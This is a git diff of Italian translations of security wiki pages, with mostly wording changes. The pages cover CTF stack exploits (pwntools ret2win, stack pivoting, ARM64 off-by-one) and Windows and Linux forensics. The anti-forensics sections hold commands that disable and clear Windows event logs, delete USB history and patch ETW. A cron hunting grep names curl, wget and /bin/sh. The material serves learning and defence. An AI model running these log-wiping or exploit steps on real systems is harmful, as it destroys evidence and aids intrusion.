- `-o vulnerable`: Nomina il file di output `vulnerable`.
|
||||
|
||||
### Python Exploit usando Pwntools
|
||||
@ -59,7 +59,7 @@ payload = b'A' * 68 + win_addr
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare i file binari. Ad esempio, con `objdump`, potresti usare:
|
||||
Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare file binari. Ad esempio, con `objdump`, potresti usare:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
@ -69,7 +69,7 @@ Lo script Python invia un messaggio accuratamente progettato che, quando elabora
|
||||
|
||||
## Protezioni
|
||||
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
|
||||
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni, altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona l'ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
|
||||
|
||||
## Altri esempi & Riferimenti
|
||||
|
||||
@ -4,12 +4,11 @@
|
||||
|
||||
Trova un'introduzione a arm64 in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Codice
|
||||
## Code
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@ -114,7 +113,7 @@ p.close()
|
||||
|
||||
### Off-by-1
|
||||
|
||||
In realtà, questo sarà più simile a un off-by-2 nella PC memorizzata nello stack. Invece di sovrascrivere tutti gli indirizzi di ritorno, sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`.
|
||||
In realtà, questo sarà più simile a un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutti gli indirizzi di ritorno, sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
||||
@ -15,14 +15,14 @@ ret
|
||||
E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
|
||||
|
||||
> Note
|
||||
> - Su 64-bit, sostituisci EBP→RBP e ESP→RSP. La semantica è la stessa.
|
||||
> - Su 64 bit, sostituisci EBP→RBP e ESP→RSP. La semantica è la stessa.
|
||||
> - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione.
|
||||
|
||||
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area in memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
|
||||
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
|
||||
|
||||
Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà.
|
||||
|
||||
@ -41,7 +41,7 @@ Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve e
|
||||
|
||||
#### Exploit Off-By-One
|
||||
|
||||
C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
|
||||
C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
|
||||
|
||||
È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita.
|
||||
|
||||
@ -96,7 +96,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad esempio, `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
|
||||
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad es., `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
|
||||
|
||||
## EBP potrebbe non essere utilizzato
|
||||
|
||||
@ -242,13 +242,13 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
```
|
||||
- Note per laboratori/CTF:
|
||||
- Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel `nousershstk`, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione.
|
||||
- Le tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`.
|
||||
- Tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`.
|
||||
|
||||
- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la "Protezione dello Stack Forzata dall'Hardware" in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).
|
||||
|
||||
## ARM64
|
||||
|
||||
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo all'interno di `x30`**.
|
||||
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e non recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo all'interno di `x30`**.
|
||||
|
||||
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**.
|
||||
|
||||
@ -283,7 +283,7 @@ Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bit, exploitazione off by one con una catena rop che inizia con un ret sled
|
||||
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questa scrittura "eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
|
||||
- Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK, `nousershstk`, flag di `/proc/$PID/status`, e abilitazione tramite `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
|
||||
@ -67,7 +67,7 @@ p.send(payload)
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso ho generato l'exploit con l'indirizzo trovato usando gdb, ma poi quando l'ho sfruttato non ha funzionato (perché l'indirizzo dello stack è cambiato un po').
|
||||
L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso, ho generato l'exploit con l'indirizzo trovato usando gdb, ma poi quando l'ho sfruttato non ha funzionato (perché l'indirizzo dello stack è cambiato un po').
|
||||
|
||||
Ho aperto il **`core` file** generato (`gdb ./bog ./core`) e ho controllato il vero indirizzo dell'inizio dello shellcode.
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
## Analisi del Malware
|
||||
|
||||
Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi utilizzare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file system, un'immagine della memoria, pcap... quindi è utile **tenere a mente queste azioni**:
|
||||
Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi utilizzare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file system, un'immagine di memoria, pcap... quindi è utile **tenere a mente queste azioni**:
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
|
||||
@ -109,7 +109,7 @@ Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows
|
||||
|
||||
### Eliminare la Cronologia USB
|
||||
|
||||
Tutti gli **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questa** eliminerai la cronologia USB.\
|
||||
Tutti i **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questa** eliminerai la cronologia USB.\
|
||||
Puoi anche utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) per essere sicuro di averle eliminate (e per eliminarle).
|
||||
|
||||
Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato.
|
||||
@ -143,7 +143,7 @@ Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB
|
||||
### Disabilitare i registri eventi di Windows
|
||||
|
||||
- `reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- All'interno della sezione servizi disabilitare il servizio "Registro eventi di Windows"
|
||||
- All'interno della sezione servizi disabilitare il servizio "Windows Event Log"
|
||||
- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
|
||||
|
||||
### Disabilitare $UsnJrnl
|
||||
@ -154,7 +154,7 @@ Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB
|
||||
|
||||
## Logging Avanzato & Manomissione delle Tracce (2023-2025)
|
||||
|
||||
### Logging di ScriptBlock/Modulo PowerShell
|
||||
### Logging ScriptBlock/Modulo PowerShell
|
||||
|
||||
Le versioni recenti di Windows 10/11 e Windows Server mantengono **artifacts forensi PowerShell ricchi** sotto
|
||||
`Microsoft-Windows-PowerShell/Operational` (eventi 4104/4105/4106).
|
||||
@ -182,7 +182,7 @@ WriteProcessMemory(GetCurrentProcess(),
|
||||
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
|
||||
patch, sizeof(patch), NULL);
|
||||
```
|
||||
Public PoCs (e.g. `EtwTiSwallow`) implement the same primitive in PowerShell o C++.
|
||||
Public PoCs (e.g. `EtwTiSwallow`) implementano la stessa primitiva in PowerShell o C++.
|
||||
Poiché la patch è **locale al processo**, gli EDR che girano all'interno di altri processi potrebbero non rilevarla.
|
||||
Rilevamento: confrontare `ntdll` in memoria rispetto a quello su disco, o hookare prima della modalità utente.
|
||||
|
||||
@ -254,9 +254,9 @@ Il tradecraft osservato ha combinato più percorsi C2 a lungo termine e imballag
|
||||
- Marcatori di rete: `api.dropboxapi.com` / `content.dropboxapi.com` con `Authorization: Bearer <token>`.
|
||||
- Caccia in proxy/NetFlow/Zeek/Suricata per HTTPS in uscita verso domini Dropbox da carichi di lavoro del server che normalmente non sincronizzano file.
|
||||
- C2 parallelo/di backup tramite tunneling (ad es., Cloudflare Tunnel `cloudflared`), mantenendo il controllo se un canale è bloccato.
|
||||
- IOCs host: processi/unità `cloudflared`, configurazione in `~/.cloudflared/*.json`, uscita 443 verso gli edge di Cloudflare.
|
||||
- IOCs dell'host: processi/unità `cloudflared`, configurazione in `~/.cloudflared/*.json`, uscita 443 verso gli edge di Cloudflare.
|
||||
|
||||
### Persistenza e “rollback di indurimento” per mantenere l'accesso (esempi Linux)
|
||||
### Persistenza e “rollback di hardening” per mantenere l'accesso (esempi Linux)
|
||||
Gli attaccanti abbinano frequentemente l'auto-patching con percorsi di accesso durevoli:
|
||||
- Cron/Anacron: modifiche allo stub `0anacron` in ciascuna directory `/etc/cron.*/` per esecuzione periodica.
|
||||
- Caccia:
|
||||
@ -264,7 +264,7 @@ Gli attaccanti abbinano frequentemente l'auto-patching con percorsi di accesso d
|
||||
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
|
||||
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
- Rollback dell'indurimento della configurazione SSH: abilitazione degli accessi root e modifica delle shell predefinite per account a bassa privilegio.
|
||||
- Rollback dell'hardening della configurazione SSH: abilitazione degli accessi root e modifica delle shell predefinite per account a bassa privilegio.
|
||||
- Caccia per l'abilitazione del login root:
|
||||
```bash
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
@ -281,7 +281,7 @@ find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
|
||||
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
|
||||
```
|
||||
|
||||
I difensori dovrebbero correlare questi artefatti con esposizioni esterne ed eventi di patching dei servizi per scoprire l'auto-remediazione anti-forense utilizzata per nascondere lo sfruttamento iniziale.
|
||||
I difensori dovrebbero correlare questi artefatti con l'esposizione esterna e gli eventi di patching del servizio per scoprire l'auto-remediazione anti-forense utilizzata per nascondere lo sfruttamento iniziale.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ Prima di tutto, è consigliato avere una **USB** con **binaries e librerie ben n
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Una volta configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**:
|
||||
Una volta che hai configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
@ -172,7 +172,7 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
## Recuperare i Binaries Eseguiti Cancellati
|
||||
## Recuperare Binaries Eseguiti Cancellati
|
||||
|
||||
Immagina un processo che è stato eseguito da /tmp/exec e poi cancellato. È possibile estrarlo
|
||||
```bash
|
||||
@ -273,7 +273,7 @@ I sistemi Linux tracciano le attività degli utenti e gli eventi di sistema attr
|
||||
- **/var/log/**: Controlla sempre per log inaspettati qui.
|
||||
|
||||
> [!TIP]
|
||||
> I log di sistema Linux e i sottosistemi di audit potrebbero essere disabilitati o eliminati in un incidente di intrusione o malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività malevole, gli intrusi li eliminano di routine. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione.
|
||||
> I log di sistema Linux e i sottosistemi di audit possono essere disabilitati o eliminati in un'intrusione o in un incidente di malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività malevole, gli intrusi li eliminano di routine. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione.
|
||||
|
||||
**Linux mantiene una cronologia dei comandi per ogni utente**, memorizzata in:
|
||||
|
||||
@ -339,7 +339,7 @@ Quando si indagano incidenti di malware, la struttura del file system è una fon
|
||||
|
||||
Per contrastare questi metodi anti-forensi, è essenziale:
|
||||
|
||||
- **Condurre un'analisi della timeline approfondita** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
|
||||
- **Condurre un'analisi approfondita della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
|
||||
- **Indagare su script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti.
|
||||
- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file correlati al malware.
|
||||
- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti dannosi.
|
||||
@ -367,7 +367,7 @@ Per confrontare le versioni del filesystem e individuare le modifiche, utilizzia
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
- **Per contenuti modificati**, elenca le modifiche ignorando linee specifiche:
|
||||
- **Per contenuto modificato**, elenca le modifiche ignorando righe specifiche:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
|
||||
@ -10,7 +10,7 @@ L'unità **minima** di un disco è il **settore** (normalmente composto da 512B)
|
||||
### MBR (master Boot Record)
|
||||
|
||||
È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\
|
||||
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del record di avvio **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
|
||||
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del record di avvio **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
|
||||
MBR consente **max 2.2TB**.
|
||||
|
||||
.png>)
|
||||
@ -26,10 +26,10 @@ Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se
|
||||
| Offset | Lunghezza | Voce |
|
||||
| ----------- | ----------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Codice di avvio |
|
||||
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
|
||||
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
|
||||
| 462 (0x1CE) | 16 (0x10) | Seconda Partizione |
|
||||
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
|
||||
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
|
||||
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
|
||||
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
|
||||
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
|
||||
|
||||
**Formato del Record di Partizione**
|
||||
@ -47,7 +47,7 @@ Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se
|
||||
| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Settori nella partizione |
|
||||
|
||||
Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
|
||||
Per montare un MBR in Linux devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
@ -131,7 +131,7 @@ Altri tipi di partizioni in [https://en.wikipedia.org/wiki/GUID_Partition_Table]
|
||||
|
||||
### Ispezione
|
||||
|
||||
Dopo aver montato l'immagine forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puoi ispezionare il primo settore utilizzando lo strumento Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Nell'immagine seguente è stato rilevato un **MBR** sul **settore 0** e interpretato:
|
||||
Dopo aver montato l'immagine forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puoi ispezionare il primo settore utilizzando lo strumento di Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Nell'immagine seguente è stato rilevato un **MBR** sul **settore 0** e interpretato:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -157,11 +157,11 @@ L'unità di archiviazione di base del file system è un **cluster, di solito 512
|
||||
- **FAT16**, che migliora a indirizzi a 16 bit, consentendo così di ospitare fino a 65.517 cluster.
|
||||
- **FAT32**, che avanza ulteriormente con indirizzi a 32 bit, consentendo un impressionante 268.435.456 cluster per volume.
|
||||
|
||||
Una limitazione significativa in tutte le versioni di FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file.
|
||||
Una limitazione significativa in tutte le versioni FAT è la **dimensione massima del file di 4GB**, imposta dal campo a 32 bit utilizzato per la memorizzazione della dimensione del file.
|
||||
|
||||
I componenti chiave della directory radice, in particolare per FAT12 e FAT16, includono:
|
||||
|
||||
- **Nome del File/Cartella** (fino a 8 caratteri)
|
||||
- **Nome File/Cartella** (fino a 8 caratteri)
|
||||
- **Attributi**
|
||||
- **Date di Creazione, Modifica e Ultimo Accesso**
|
||||
- **Indirizzo della Tabella FAT** (che indica il cluster iniziale del file)
|
||||
@ -169,11 +169,11 @@ I componenti chiave della directory radice, in particolare per FAT12 e FAT16, in
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** è il file system più comune per **partizioni non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e vengono solitamente utilizzati per le **altre partizioni**.
|
||||
**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e vengono solitamente utilizzati per le **altre partizioni**.
|
||||
|
||||
## **Metadata**
|
||||
|
||||
Al alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come:
|
||||
Alcuni file contengono metadati. Queste informazioni riguardano il contenuto del file che a volte potrebbe essere interessante per un analista poiché, a seconda del tipo di file, potrebbe contenere informazioni come:
|
||||
|
||||
- Titolo
|
||||
- Versione di MS Office utilizzata
|
||||
@ -211,7 +211,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Data Stream **C**arving
|
||||
|
||||
Data Stream Carving è simile al File Carving ma **invece di cercare file completi, cerca frammenti interessanti** di informazioni.\
|
||||
Data Stream Carving è simile a File Carving ma **invece di cercare file completi, cerca frammenti interessanti** di informazioni.\
|
||||
Ad esempio, invece di cercare un file completo contenente URL registrati, questa tecnica cercherà URL.
|
||||
|
||||
{{#ref}}
|
||||
@ -220,7 +220,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### Cancellazione Sicura
|
||||
|
||||
Ovviamente, ci sono modi per **"cancellare in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\
|
||||
Ovviamente, ci sono modi per **cancellare "in modo sicuro" file e parte dei registri su di essi**. Ad esempio, è possibile **sovrascrivere il contenuto** di un file con dati spazzatura più volte, e poi **rimuovere** i **registri** dal **$MFT** e **$LOGFILE** riguardanti il file, e **rimuovere le Copie Shadow del Volume**.\
|
||||
Potresti notare che anche eseguendo quell'azione potrebbero esserci **altre parti in cui l'esistenza del file è ancora registrata**, e questo è vero e parte del lavoro del professionista forense è trovarle.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -97,7 +97,7 @@ Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github
|
||||
|
||||
### Suricata
|
||||
|
||||
**Install and setup**
|
||||
**Installare e configurare**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
@ -129,7 +129,7 @@ Controlla se riesci a trovare qualche impronta di un malware noto:
|
||||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o dannose. Zeek supporta anche una vasta gamma di compiti di analisi del traffico oltre al dominio della sicurezza, inclusi la misurazione delle prestazioni e la risoluzione dei problemi.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o malevole. Zeek supporta anche una vasta gamma di compiti di analisi del traffico oltre il dominio della sicurezza, inclusi la misurazione delle prestazioni e la risoluzione dei problemi.
|
||||
|
||||
Fondamentalmente, i log creati da `zeek` non sono **pcaps**. Pertanto, sarà necessario utilizzare **altri strumenti** per analizzare i log dove si trova l'**informazione** sui pcaps.
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ All'interno di questo database SQLite, puoi trovare la tabella `Notification` co
|
||||
|
||||
### Timeline
|
||||
|
||||
La Timeline è una caratteristica di Windows che fornisce una **storia cronologica** delle pagine web visitate, dei documenti modificati e delle applicazioni eseguite.
|
||||
La Timeline è una caratteristica di Windows che fornisce una **cronologia** **cronologica** delle pagine web visitate, dei documenti modificati e delle applicazioni eseguite.
|
||||
|
||||
Il database si trova nel percorso `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
